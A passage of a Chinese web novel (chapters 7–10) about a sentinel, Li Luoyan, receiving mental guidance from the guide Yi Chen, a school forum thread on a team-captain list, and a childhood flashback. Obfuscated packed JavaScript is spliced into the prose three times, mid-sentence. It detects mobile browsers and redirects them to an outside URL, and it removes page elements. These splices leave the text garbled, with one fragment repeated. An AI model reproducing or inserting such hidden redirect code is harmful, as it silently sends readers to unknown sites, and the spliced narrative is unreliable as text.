嗯……喜欢小动物的能是什么坏人? 7. 第 7 章 黑发向导的眉眼轮廓像是墨笔勾勒而成的,抬起眼望向人时,纯黑的眼睛像是深不见底的深渊。 黎珞言在他的眼睛里缩成了很小一个,模模糊糊的倒影仿佛要被深藏于渊底的海怪拉拽下去。 对向导的视线全然未觉的黎珞言很乖地趴在桌上,他难受得皱皱巴巴的,恍惚到咬住了指节才清醒过来。 开口时嗓音有点哑,他极力压抑着身体的难受,说话一个字一个字往外面蹦:“我可以做疏导了吗?” 向导看着他无意识做出的小动作——不住地咬着嘴唇,又舔着嘴巴。 他才注意到眼前的哨兵牙齿有点尖,压在嘴唇上时看起来一旦使劲就会咬出两个吓人的血洞。 像是……饿了? 易谌对食物并不热衷,饿的时候向来都是靠寡淡无味的营养液充饥,但面前的哨兵像是想在嘴巴里咬点能够嚼一嚼的食物,应该不会想要营养液…… 易谌摸了摸外套的口袋,里面装着一颗营地里的向导前辈分发的硬糖。隔着外套硬质布料,指尖轻轻碰着那颗糖。 他又抬头看向蔫蔫的哨兵。 实际上,他有点生理性厌人。 但面前这个……像小动物一样。安静的时候像,说话的时候像,就连小动作也像是小动物在撒娇。 无理取闹的发疯哨兵易谌见得多了,暴力压制就行。以至于现在见到一个总发呆的笨蛋他还有点不太适应。 “黎珞言。”向导说。 黎珞言两手交叠着搭在桌上,一听见自己的名字,条件反射就抬起了头。 然后他就看见对面的向导伸出拳头到自己面前。 嗯……看上去像是想给他一拳。 下一瞬向导就张开了手心,手掌里躺着颗水果硬糖。 易谌问:“吃吗?” “要吃。”黎珞言弯起眼睛,收下糖后就一口咬进了嘴里,属于水果的沁甜味在唇齿间蔓延开。 易谌想,果然吃东西的时候也很像小动物,真的很像口欲期的小动物在磨牙。 “闭眼。我给你做疏导。” 黎珞言迅速闭上眼睛,舌尖抵住糖推到齿间,再嘎嘣嘎嘣咬碎,再不做疏导他真的要难受到咬人了。 易谌也闭上眼,探出精神力,精神力的触须逐渐探入了哨兵的脑域里,与对方形成链接。 按理说他的眼前应该逐渐亮起画面,但好一会儿却仍旧是一片漆黑。 除了没链接上的情况外,就只有对方的精神图景里就是一片漆黑这一种可能。 易谌拧了眉,将精神触须继续深入,越是深入,他就越能感受到他和黎珞言之间的联系。 精神链接将两人之间的联系不断加深,在两人匹配度极高的前提下,甚至连情绪都能隐隐地互相感知到。 在他探出精神力与黎珞言的脑域建立链接的同时,向导素也逸散开来,哨兵的身体在接收到向导素后,原先的难受不适在逐渐缓解。 黎珞言的神情不像原先那样紧绷着了。 易谌刻意说服自己忽略掉那丝不明显的联系,沉默地继续自己对黎珞言精神图景的探索。 不知道深入了多少,眼前终于亮起了一点光,他终于能看清黎珞言的精神图景了。 隔着一层高高的半透明屏障,被围在中央的仅仅是一个竖起的画板。隔得太远易谌看不清画上具体的内容,但即便只是模糊的轮廓,他也能看出来这是一副水平很高的画,色彩丰富艳丽、抓人眼球。 除了从中心的画往外映射出的一点光以外,周围一片漆黑。 浓重得仿佛能够化为实体的黑雾缠得人连呼吸都很是困难,要不是他的精神力足够强还真顶不了多久。 黎珞言的精神图景太简单了,只有一副画和层层叠叠的厚屏障……但正因为简单,才显得更为复杂棘手。 没有肢体接触的精神疏导做到浅度清理是完全没问题的。 易谌想,那就先清理掉最外层的屏障。 * 黎珞言按着额角睁开了眼睛,刚睁眼就听见向导问:“好些了吗?” 黎珞言:……胃不疼了,头疼,算好些了吗? 他想,这位向导是不是在他的精神图景里突然心情不好,然后抓着他的脑子打了一架? 黎珞言从来没接受这么……简单粗暴、难以评价的精神疏导,但不得不承认接受疏导后脑域确实轻松许多,他甚至觉得自己还能蹦跶两下。 但还没他真的起身蹦跶几下,就发现自己的手腕上突然缠上了条黑蛇。 蛇身薄薄的鳞片压在手腕处略微有点粗糙、凹凸不平的质感,触感冰冰凉的,但又挺软弹的,有点像煮熟了的年糕。 那条黑蛇也注意到了黎珞言的视线,但它没有做出任何反应,而是继续懒洋洋地盘在他腕骨处,吐着蛇信子,蛇尾轻飘飘地扫着皮肉下淡青色的血管。 嘶……怎么还有点像向导手腕上那只。 黎珞言抬起手,正想凑近仔细观察一下多出来的那条黑蛇的特征,就听见那位向导冷冷的一声“过来。” 过、过去? 黎珞言下意识看了看这房间里还有没有别人,确定只有自己后更茫然了,迟疑着指了指自己。 他吗? 黑蛇不动如山地盘在他的手腕上,就像安家了似的。 黎珞言疑惑地看了眼向导,还没表达出自己的困惑就立刻惊讶地睁大了眼睛,望着踩在对方肩膀上跟个小玩偶似的、属于自己的精神体。 他的精神体什么时候跑出来的? 他第一次遇见这种精神体到处乱跑的情况…… 黎珞言喊道:“厄斯,回来。” 他嘴里还含着糖果碎渣,说话时依稀可以看见闪着碎光的糖渣。 小狮子正扒着易谌的衣领,俯到他的脖颈处嗅了嗅,然后似乎是很幸福地倒下去,肚皮敞着小声呼噜了两下。 听见主人呼唤后它迅速昂起大脑袋,扭头看过去。 易谌伸手把小狮子拎了下来,随手朝黎珞言扔了过去。 小狮子在降落过程中迅速膨胀变大,楞大一个直接撞进站起身的黎珞言的怀里。 黎珞言稳稳接住他,即便是这等重量他双手也完全没抖,稳得可怕。十指都陷入狮子毛茸茸的身体里,指关节透着点健康的粉。 手腕上的黑蛇缠他缠得更紧了些,蛇身变长,脑袋沿着指根蜿蜒往上,蛇信子慢悠悠舔过纤长的手指,像是在细细品尝什么美食。 小蛇舔舐后留下的湿漉漉的触感让黎珞言觉得手指泛起了点些微痒意,他把精神体收了回去,垂下眼,宝石绿的眸子专注地盯着在他右手上绕了好几圈舔来舔去的小蛇。 手背几乎都要被越来越长的蛇身覆盖,在光照下,纯黑色的蛇鳞泛起五彩斑斓的光泽,看着危险又尖利。 还没等黎珞言伸出手去碰碰他,那条黑蛇就消失了。 黎珞言眨了下眼睛,看向坐在凳子上的向导,了悟,原来那条黑蛇是他的精神体。 他翻了翻自己的手,安安静静地观察了下。 不久前缠绕在上面的黑蛇已经消失了,手上还泛着点未散去的红,黎珞言几乎还能会想起蛇信子舔舐过皮肤时滑腻奇怪的触感。 “厄斯?”易谌问,“你给精神体取的名字吗?” 黎珞言肯定地点点头,弯起眼睛,眼睛亮亮的,说话时有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496417|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 股糖果的甜味:“好听吗?” 易谌没有直接回答,只是说:“你是我见过第一个给精神体取名的人。” 这点也很小动物,小动物就会喜欢给动物取名。 果然就是小动物吧。 易谌想。 黎珞言坚持不懈:“那好听吗?” 易谌顿了一下,才淡声道:“嗯,好听。” * 黎珞言离开诊疗室之后,身体不难受了,连精神气都回来了。 好了,现在去捡尸体了。 “啊……”走出营地的那一瞬,他突然才想起来自己忘了的事情。 他忘记问里面那个制冷效果超好的空调品牌了。 联邦军校的住宿条件不行,空调像是不知道传了多少代的老古董了,制冷效果差到几乎可以忽略那点微乎其微的冷气。 黎珞言夏天被热到睡觉做噩梦的时候,一直在想学校能什么时候来个设备大换新就好了。 “梨子!” 黎珞言走着路,闻声抬起头。温热的手背快速地贴在他的额头上,他眨着眼睛看向自己面前的奚元。 奚元见他脸色好多了,松了口气,问道:“好些了吗?” 黎珞言点点头,为了表示自己的身体完全不难受了,他弯眸道:“现在还能捡很多尸体。” 奚元的手随意搭在他的肩上,拍了拍他,夸道:“……那还挺厉害的。” ……不过污染区边缘营地的向导精神力这么强的吗?能让梨子这么快就恢复状态。 * 清扫战场过后就是一如既往的总结讲话环节。 太阳大得刺眼,老师学生都被大太阳晒着,污染区的太阳和异兽一样像是变异过似的,晒得人心烦气躁。 站在前方的老师看着他们被晒得难受的模样,也没讲什么废话耽误时间,简单地总结了一下今日的情况。 轮到严弥老师发言时,他特意提了下今日险些酿成的惨剧,并沉着脸说:“我并不奢求你们各个都成长为能够独当一面的哨兵,但至少应该具备该有的战斗素养,以及团队协作的精神。今后你们中的绝大多数人都会来到污染区,过着朝不保夕的生活。但我们教给你们的至少能让你们活得久一点。” “除此之外,这里对一年级同学黎珞言提出表扬。” 黎珞言端正站着,听见自己的名字抬起头。 严弥面无表情看着他,绷着那张私人脸,看起来不像是在夸人,倒像是在念处决名单:“在专注自身负责事项的同时,迅速关注到了同学正面临危险,并及时做出了反应,拯救了同学的性命。” 身穿统一训练服的队伍瞬间传出竭力压低的层层惊叹声。 严弥继续说:“你的这门课,我会给你打‘A’。” 队伍里的惊呼声大了起来,能从严弥这老古板手里拿到A可以说是难得一遇,上一个得A的是现在还在污染区深处出任务的尹祁青,再上一个就是几十年前了。 有人转过头来,目露羡慕,给他比了个大拇指:“黎哥,强。” 黎珞言面对不熟的人表现得一向冷淡,他极为矜持地点了下头。 …… 下一个讲话的是一位说话时和风细雨的女老师,她给的评级一般都不会很低,因此在学生中风评很好。 她微笑着:“刚刚提到了团队协作,相信大家都知道学校即将举办一场联赛。” “四人组队,不限年级,具体通知后续会发布。我也了解到你们当中许多人私下已经在口头上组好了队。队长的名单三天后就能出来,这也是一场用来加强你们团队合作能力的比赛,希望大家能够踊跃参加,互相多了解一下。” 8. 第 8 章 联赛的队长名单是上课时间出来的。 无论是关于什么的理论课都是枯燥的,一群二十出头的哨兵根本坐不下去,一发现官网上队长名单出来了就偷偷摸摸拿出终端看起来,顺便还小声地讨论了起来。 老师在上面讲了会儿,见没人在听,一个个全捧着终端在窃窃私语,无奈地笑了一下。 他干脆也不讲课了:“队长名单出来了,我看你们也都挺关注的,那我留点时间让你们看一下吧。” 话音刚落,原本还偷偷摸摸看终端的人都光明正大了起来,讨论的声音也大了起来。 尹惟撑着头,她没什么事做,于是也打开终端查看队长名单。 手往下滑着。 突然,她的手一顿,皱着眉放大了表格,像是不敢相信自己看见了谁的名字。 怎么会出现黎珞言的名字? 梨子没有报名队长啊,而且他们私下早就定好了去的队伍。所以队长名单里为什么会有梨子的名字?是系统出错了吗? 尹惟凑得离屏幕很近,将那片区域放大又缩小,放大又缩小,反复确认自己的确没看错。 她刚想和黎珞言分享她这个神奇的新发现,就听见老师讲话了:“对了,根据多个老师的讨论,为了平衡每组实力,把黎珞言加到了队长名单里。黎珞言,你觉得呢?” 奚元在写另一门课的作业,听见黎珞言的名字条件反射地提起了耳朵,听了一嘴,但注意力没有完全集中,再加上周围太吵,他只零星听见了句子中几个词,没太反应过来是个什么意思。 黎珞言更是还在睡觉,对自己的名字一点反应都没有,趴在手臂上睡得可熟,只露出一个蓬松的黑色头顶。 尹惟坐他后座,使劲踢了踢他的凳子,没踢醒。 奚元故技重施,捏住他的鼻子,果然下一秒黎珞言就睁开了绿眼睛,被打扰了睡梦的黑发哨兵看起来有点可怜兮兮的,小声问他:“你做什么?” 奚元压低声音:“老师点你名了。” 于是黎珞言迎着老师投来的目光站了起来,他脸上稍微有点红,是睡久了之后显出来的很健康红润的颜色,看上去还有点懵。 老师看着他笑,也不说话。他完全不知道被点起来做什么,很茫然地低头看向同桌的奚元。 奚元显然也不知道在问什么问题,但他朝黎珞言比了个手势,表示他马上就去打听一下。 黎珞言识别到奚元的手势,放下了心,转回头去抿起唇,装出一副正在认真严肃的思考模样拖延时间。 奚元刚打开终端,问题还没编辑好发给尹惟,就见从后面扔过来了一个纸团。 他迅速反应过来肯定是尹惟扔过来的,心里默默感慨一句:这就是认识十几年的默契。 然后一刻也没耽搁地拆开纸团,把纸团铺平按着移到了黎珞言的桌上。 【你的名字出现在队长名单里了。老师问你的意见。】 字迹流畅漂亮,大概是因为写的有点急,最后一笔都稍微有点飘了。 黎珞言看完纸团内容,发自肺腑:“啊?” 他抬起头看向笑眯眯的老师,再次确认:“我当队长吗?” 老师点了点头,鼓励道:“你可以的。” 黎珞言睡得头还有点昏,他下意识地就要接一句“都行”了,但突然清醒了过来,咬了下舌尖,差点就要出口的被吞了回去。 他慢吞吞地憋出一句:“可以不吗?” 老师继续笑眯眯地说:“但是很抱歉,名单已经定下来了。” 这就是不容商量的意思了。 黎珞言刚醒来就得知自己要在联赛里当队长,整个人好像还在梦里似的。 他不是一年级新生吗?为什么会直接指定他当队长啊? 他抿了抿唇,试图再次为自己争取一下:“不是问我的意见吗?” 老师爽朗地哈哈笑了两声,然后又看着黎珞言笑道:“是啊,但其实已经定下来了,问你就是走个过场,怕你没看通知不知道。” 黎珞言:“……” ……讨、厌。 * 联邦军校论坛。 ——主题:【我请问呢?到底是谁说黎珞言不当队长的?】 1L:【?怎么带大名了?我敢打包票,这贴半小时以内包被封的。】 楼主:【啊!不是,太着急了!!忘打缩写了!!所以当初是谁先说他不当队长的啊!我靠,站出来啊我保证不揍人!】 3L:【嘶!lly当队长了?我还没仔细看过这个队长名单呢,等我一观。】 …… 33L:【所以黎队找好队友了吗?我要去自荐一下[害羞]】 34L:【已经开始叫上黎队了吗?听着好涩。】 35L:【我服了,到底是谁先传的假消息!早知道我就不加入别的队伍了!】 36L:【ls还是太老实了。反正只是口头约定,勇敢的人先和黎队做队友。不管了,我先冲了试试。】 …… 79L:【每次点开这种帖子,我都要事先做很久的心理建设。靠北,果然,打开一瞬间,一股子lly深柜的气质扑面而来。】 80L:【慕强没错,爱上黎队人之常情。】 81L:【自荐真的有戏吗?黎队,我女神,再加一个红毛,不就凑够仨人了吗?感觉只有向导去自荐才有希望吧。】 82L:【lz标题都不打缩写,此贴早晚被禁。不管了我也直接带大名了。】 【尹惟会和她哥尹祁青一队吧,之前就有传言说尹祁青那队队员是黎珞言、尹惟,和白塔那位首席温暻。奚元之前说的是不参赛。那现在我分析一波。黎珞言自动成为队长,尹惟要是去黎珞言那队,尹祁青队伍人数不就锐减一半了吗?所以我觉得她应该不会改队。】 【奚元说不定,他有极大可能改决定去参赛,毕竟我一直觉得他也是黎珞言深柜。】 83L:【一直很不理解lly深柜这个群体。我始终坚定自己是他的事业粉,上半学期实训课全A的成绩,直接破纪录了,给我人都看傻了。请加入我们真正的慕强批这一更加权威的群体好吗?】 84L:【其实我觉得温暻看到队长名单之后也会去黎珞言的队(这是可以说的吗)】 85L:【白塔首席和黎队很熟吗?[呆傻.jpg]】

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496418|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 86L:【ber,之前白塔那位首席为了给lly做精神疏导,在我们学校的诊疗室里待了挺长一段时间,还给军校其他人做了精神疏导,都不记得了吗??】 87L:【哦莫,原来是为了黎队来的。我以为是首席大发善心,来拯救我们可怜见的哨兵了呢。】 …… 100L:【这不就是前段时间的事吗?还真有人忘?我靠,自从进了联邦军校以来,我每天起得比鸡早睡得比狗晚,被军校里那群老师当狗训,直到那天负重跑完六公里,踏进诊疗室的那一刻,首席的光芒直接普渡了我,出诊疗室的时候我还晕乎乎的。dokidoki】 【不说了,现在每天疯狂训练,都是为了以后进正式军团预约首席的诊疗室。】 101L:【哦对了,还是我,100L那个。顺便提一句,黎队nb!轻而易举从严古板那里拿到了''A''的事迹还有人不知道吗?3515届哨兵之光实至名归好吧!】 …… ——此贴已被永久封禁—— * 黎珞言撑着下巴,双眼无神地看着桌面。 下课了,教室里的人陆陆续续都走了。 尹惟戳了戳他的后背,看着他蔫蔫地转过来趴在她的桌子上,忍住笑问道:“在想什么?” “在想——”黎珞言伸出一根手指在桌上画圈圈,长长叹出一口气,“找不到队友怎么办……” 队长名单出来之前,大多数队伍都已经口头上确定下来了。现在这么突然地告诉他让他当队长,他觉得他很难再找到队友了。 “在想这个啊。”尹惟笑出声,“这还不简单,我和奚元进你队里,不就三个人了吗?再找个向导就成。” 尹惟耸了耸肩,完全不觉得找队友是个什么大问题。 黎珞言眨了眨眼睛,有点惊讶:“你愿意过来和我组队吗?” 尹惟也朝他眨了眨眼睛,笑眯眯的:“当然啊。我哥那边再找别人组队就行。” 她突然想到什么,眼珠一转,弯着眸子笑意快溢出来了,像是想出了什么坏主意:“要不我们把温暻也挖过来吧,这样我们人就齐了。” 黎珞言指节微弯挠了挠桌子,有点点被打动,但想了想,还是很迟疑地说:“那哥那边不就只剩他一个人了……” 他说话的声音陡然一滞,侧头看向奚元,茫然道:“你做什么?” 为什么突然摸他耳朵? 奚元的手还搁在他耳朵上,闻言也没收手,甚至还轻轻捏了捏耳垂,触感柔软。被他这么一按一捏,耳垂微微泛起了点暧昧的红。 他食指屈起,指尖带着点力度滑过黎珞言右耳上的银色耳钉。 耳钉就是极为普通的样式,没什么特别的装饰。黎珞言只有右耳上戴了一颗,单边耳钉看上去还蛮有个性的。 奚元没回答他,于是黎珞言凑近了又问一遍:“怎么了吗?” 他看人时眼睛亮晶晶的,弯着眸子,冲淡了锋利五官带来的冲击感,反而一副很好亲近的小动物模样。 奚元再次摩挲了下他的耳钉,半眯起眼睛说:“我只是在想,你当初到底为什么开始戴耳钉的?” 9. 第 9 章 黎珞言是大概十来岁那时,突然有一天开始戴耳钉的。 他一向是不会把自己装饰得闪闪发光的,所以戴上银色耳钉的当天就注意到了。 黑发绿眸的男生听人说话时特别专注,疑惑时就抓了抓头发,别人顺着他的动作看去,纤长手指间一抹浅淡的银光一闪而过。 尚且稚嫩的年龄五官就已经出落得很好看了,眉骨如刃,鼻梁高挺,第一眼看过去非常具有冲击力的浓颜系长相。 右耳上缀着一颗样式再简单不过的银色耳钉,反而给他添上了分很特别的韵味。 当时奚元问起的时候,黎珞言抬手摸了下右耳的耳钉,顿了下才弯起眼睛,像是有点可怜似的问:“不好看吗?” 这么一戴就好几年了,奚元今天注意到他的耳钉,才又想起这个问题。 确实很好看没错,但是梨子是喜欢戴饰品的性子吗? “我只是在想,你当初到底为什么开始戴耳钉的?”奚元说。 黎珞言听见他的问题,有点愣住了,半晌,碧绿的眸子轻轻眨了下:“因为很好看……” 黎珞言说得不是很确定,他说着说着就看向了尹惟,似乎是在寻求帮助。 “是啊,特别好看。”尹惟看着他望向人时仿佛漾着碎光的绿眸,很自然地接过话头揭过了这个话题,“我之前就看见别人抓拍的梨子的照片,耳钉衬得梨子特帅。” 她弯着唇笑,“我之前也被吸引了想搞个耳钉戴着呢。这周末怎么样?有时间陪我去挑一挑吗?” 黎珞言立马就想应下来,张嘴的同时,忽然一直挂机的脑子上线了,他想起来了自己约好的事,于是看着尹惟说:“这周末没有时间,我要去和匹配对象见一面。” 他拿出终端,翻到他和匹配对象的聊天记录作为佐证,给她看。 尹惟一看,居然还是发起的临时会话,这么久了俩人连好友都没加。 两个人前面一点寒暄都没有,黎珞言上来就问:【你好呀~你什么时候有时间,我们可以见一面吗?[小狮子探头.jpg]】 黎珞言这个加语气词、加可爱表情包的习惯还是尹惟反复强调之后才形成的。 因为黎珞言发消息时都太过直接,这种文字式的消息看不出语气,尹惟每每收到消息之后都忍不住扶额,同时又忍不住担心别人会通过这些文字误以为梨子性格差劲、不好相处。 于是她最后想出一个办法,给他发了不少表情包存上,并告诉他遇事不决就加上一个表情包好了。 匹配度96的向导:【这周末下午一点,可以吗?】 黎珞言:【好的![小狮子开心.jpg]】 “所以我周末要去和那个人见面了,不能陪你去了。”黎珞言托着下巴说。 奚元见耳钉的话题这么轻易地就被跳过去了,心里意识到一点不对劲,他扭头看向尹惟。尹惟注意到了他的视线,唇角笑容微敛,微不可察地朝他摇了摇头。 果然有事情。 奚元心头一沉,他的视线重新又落回黎珞言右耳处的那颗耳钉上,随着黎珞言晃脑袋的动作,纯黑发尾间银光轻闪。 …… 奚元和黎珞言认识是很多年前的事情了。那时候黎珞言才七岁。 奚元从小就混,最讨厌的就是参加各种各样无聊又庸俗的、千篇一律的聚会。推杯换盏之间,一群人挂着再假不过的微笑,说着一些再俗套不过的话,虚伪得要命。 他觉得没意思极了。但小孩没有话语权,他还是得被提溜着去参加那些聚会,大人说话,他一个小孩自然是被分配到小孩那堆里。但他觉得那群小孩也很没意思。 不对,不是很,是非常! 尤其是那个叫尹惟的,和他同龄,但装得一副多见多识广的稳重模样,见谁都微微笑着,熟练地打着官腔,和那群成年人简直一模一样。 无聊透顶。 奚元对尹家人这种家规森严、从上到下都透露着一股子装感的类型完全是一点也不想接触。 那天他又被他父亲扯着去参加一个听说是什么执政官独子的生日宴会。一听这个名头,他估摸着就是个特别无趣的小孩。 他拉着一张脸、十分不情愿地去到那场宴会上,几乎不用思考就能知道这一天会非常非常无聊又平淡地过去。 首先会是训练有序、毫无感情偏还要挂着笑脸的机器人站在宴会厅门口给每个到来的人送上小礼物,然后就是借着这个生日宴开始谈合作、谈军团发展、谈抵御星盗抵御异兽,巴拉巴拉的…… “你们好,这是你们的礼物。” 稚嫩又一板一眼的声音让低头环臂的奚元有些奇怪地抬起了头,眼前是个穿着精致西服的小男孩,脸上有点婴儿肥,抿着嘴巴,表情看起来似乎是在做什么特别认真的事。 他就看着那小孩转过身在旁边一个巨大的箱子里翻找,那箱子大到几乎可以装进一个他了。小孩在里面翻找的模样看着十分辛苦艰难,脑袋都快要埋进箱子里了。 奚元看着都怀疑他是不是会找着找着一整个栽进去。但最后总算是给他找着了,不知道为什么,同时间奚元也跟着那小孩一道松了口气。 小男孩把包装好的礼盒板正地递给面前的大人,余光忽然注意到了一直在盯着他看的红发男生,好奇地看过去。 站在他面前的男孩一头红发招摇得不行,双臂环着,一副很拽很狂、老子天下第一的模样盯着他看,目光直接而炙热,即便是被他发现了也毫无收敛的意思。 对于第一次见面的人来说,这其实是有点冒犯的注视。 但现场的两个小孩显然都没意识到这点。 黎珞言也慢吞吞回望向了他,浓密的眼睫下是一双澄澈透亮的绿眸,像一弯静谧温和的湖水。 对视片刻后,他弯了弯眼睛,碧绿的湖水泛起涟漪。 …… 他在朝自己笑。 奚元意识到这个事实后垂在身侧的手指忽然弯了一下,眼睛不自觉地快速眨了几下,更加目不转睛地盯着他看。 在被父亲扯了几下后,他总算回过神了,在被生拉硬拽进宴会厅之前,他努力地稳住脚步,抓紧时间连忙把心里话喊出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496419|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了:“你眼睛好漂亮!” 离得近的人都听见了。 站在后面的正好就是尹惟。她听见这句格外大声的话,唇角忍不住弯起了点,差点就没绷住要笑出声了之前,被她哥拍了一下肩。 尹惟侧头看向尹祁青。尹祁青朝她比了个噤声的动作,尹惟不情愿地点点头,使劲抿了抿唇才把差点脱口的笑声忍了回去。 奚父觉得丢脸死了,一瞬间被这么多双同僚的眼睛看着,整个人红温起来了,一个不经意拽着奚元的手松了点力,居然让这小子挣脱了出去。 奚元快速整理了下自己被他父亲拽皱的衣服,这下看上去体面多了。直勾勾看着黎珞言,咧嘴笑起来,露出一排整齐的牙齿,直白问道:“你叫什么名字?我们可以认识一下吗?” 他想,这个人有意思,他必须要认识一下。 简单的一番逻辑在脑子里过了一遍之后,奚元毫不犹豫地问出了这个问题,问完后他极为认真地盯着黎珞言的眼睛,等着他回答自己。 被他这样看着,黎珞言眼睛微微睁大了些,发生的意料之外的事情让他一瞬间怔住了,半晌才老老实实回答:“我叫黎珞言。” 回答完之后他就不说话了,他的社交技能仅限于有问有答这一部分,不像正常交流那样还会顺着话题反问一句“你叫什么名字”之类的,把对话继续下去。 但他好歹还记得父亲告诉过他不知道说什么的时候就笑笑。 他铭记着这句真理,于是在没等到对方说话后的那一小段沉默时间里,凭着本能弯起眼睛看着人笑。 “我叫奚元……唔唔!”奚元笑眯眯地自我介绍,刚说了个名字嘴巴就被他父亲捂住了,话被堵进了喉咙里,强行“唔唔”了两声也没能说出能够让人听清的话来。 红发男生就这样瞪着眼睛,火冒三丈、极不情愿地被他父亲给拽进了宴会厅里。 见看不见人了,黎珞言紧绷着的身子放松了一点,低头的时候缓缓吐出了一小口气,像是为刚才发生的事情松了口气。 抬头看向下一批人前,他不着痕迹地再深深吸起一口气,重新调整好状态,绷着一张小脸说:“你们好,这是你们的礼物。” 来来回回反反复复就是这一句话,就跟个不太智能的小机器人似的。 尹惟看得忍不住笑,等到家里人接过黎珞言递过来的礼物,准备进入宴会厅了之后,她弯着唇,压低了声音对黎珞言说道:“你眼睛真的很漂亮。” 黎珞言望着她,眨了眨眼睛,露出一副意料之外的很懵的模样。——和前几分钟莫名其妙被夸时的表情一模一样。 但他旋即弯起了眸子,月牙似的弯,讲话慢吞吞的,尾音习惯性地拖长:“谢谢。” 尹祁青发现了落后几步的妹妹,回头看了一眼尹惟,又看了一眼黎珞言。旋即收回视线,招呼她跟上。 等她走近后小声问道:“你们说什么了?” “我问他——”尹惟下意识挑了下眉,想起方才简短的对话,声音顿了一下,忽地笑出一声,扬唇道,“啊?我为什么要告诉你啊?” 10.第 10 章 自从七岁的生日宴上黎珞言出现在大众视野之后,他就不再始终待在家里,而是开始参与一些所谓的属于同龄人之间的交流娱乐了。 黎珞言性格好,长得好,那时候也不像现在这样对陌生人冷脸,反而见了谁都弯起眼睛朝人笑,因此所有人和他接触过的人都喜欢他,都想要和他玩。 敏锐地察觉到每个人的真实性格是直觉系小动物的特殊技能,相处久了之后,他本能性地亲近一些人,又本能性地远离一些人。 久而久之,那种区别就愈发明显,于是在不为人知的地方,一种隐秘的粘稠的恶意自心中生出。 那些被归于“疏”中的一些人中,不免有人会想要以一些特殊的手段引起他的注意。 对于年岁不大的小孩来说,他们是分不清讨喜和讨厌之间的区别的,“引起注意”的优先度是完全高于“引发的是哪方面的情感”这一因素的。 无论是正面情绪还是负面情绪,只要是被注意到了,这对他们来说似乎都是一种阶段性胜利。 不知有意无意,有人猛地发现自己从来没听说过、也从来没见过黎珞言的母亲,所谓“执政官的独子”背后就只表明了他父亲的身份。 所以,他妈妈呢?在哪里? 当这个问题被直接戳到黎珞言面前的时候,直白又锋利的话语像是一柄开了刃的剑,连说话本人都没注意这话是多么残忍又恶毒。 “我怎么从来没见过你妈妈?” “你妈妈是不是不要你了啊。” …… 蹲在地上安安静静看着蚂蚁搬物资的黎珞言听见了。 他第一次直面这么呼之欲出的恶意,像是卡顿了的机器人,停顿一下后,蓦然抬起头来,眼珠子一动不动地盯住说话的一群人看。 那群人知道黎珞言和奚元、尹惟关系好,于是特意挑的那两人正巧不在场的时间来找的黎珞言。 “喂!黎珞言!你怎么不说话?” “我说,你妈妈是不是就是因为你不像正常人,所以不要你的啊。” 原本澄澈清透的眼睛,这样一动不动盯着人看久了之后显出几分强烈的诡异。 黎珞言沉默地盯住说话的人,慢慢站起身,在为首那人还想再说话的时候,突然猛的逼近。 他伸手的动作太快,以至于在场没人能反应过来,只见得残影一晃,他的手就已经死死掐在了挑衅者的脖子上。 “呃……啊……”为首的孩子脖子被手掌扼住,张开的虎口正正卡住喉结的位置,疼痛陡然炸开。 呼吸被全然遏制,挑衅者脸红脖子粗,眸色充斥着惊恐,发了狂地想要挣扎开,然而只是徒劳。 动手的黑发男孩眼眸一片泠然,向来被人称赞漂亮的绿眸里没有任何情绪,仿佛扔进一块小石头都无法激起一点波澜。 在他掐人脖子的那瞬间,他像骤然间变了一个人,不再是所有人印象中柔软的,爱笑的,反应慢吞吞的男孩,硬要打个比方的话,更像是冷冰冰的人形杀器,很让人心惊的模样。 那人用尽全身力气,两只手拼了命掰着黎珞言掐住他脖子的那只手,然而让他绝望的是,他的挣扎没有任何作用。 反而下一秒被对方直接掼倒在了地上。 后脑勺砸在地上的那瞬间,他只觉得眼前出现一阵血雾,被扼住了喉咙口鼻难以呼吸。 他有些绝望地松了力气,手臂垂至身侧,不再试图让黎珞言放手。 他睁着眼睛,视线变得逐渐模糊,却仍旧可以看见一团很清透的绿色色块——是属于对方的、很漂亮的眼睛。 然后是金灿灿的颜色。……是什么?他的视线糊成一团,看不清具体的形状。 这是他第一次和对方近距离接触,却是在这样的情况下,他甚至还来不及纪念,就已经意识到他似乎快要完蛋了。 男孩柔软的黑发中忽地探出了一对金灿灿的兽耳,一摇一摆轻轻晃动,身后一条尾巴快速摆动着,脸上没什么表情,透着股极强烈的非人感。 周围的小孩都被黎珞言吓到了。 有的跑去找人了,有的似乎被吓傻了看着他们发呆,还有人瞪大了眼睛,惊恐地破音喊道:“怪、怪物!” 奚元被人喊过来时还不知道发生了什么,皱着眉不耐烦地走过来,但在抬眸看清此刻的景象时瞳孔猛的一缩,迅速意识到了一个事实——出事了。 他立马健步如飞冲了上去。 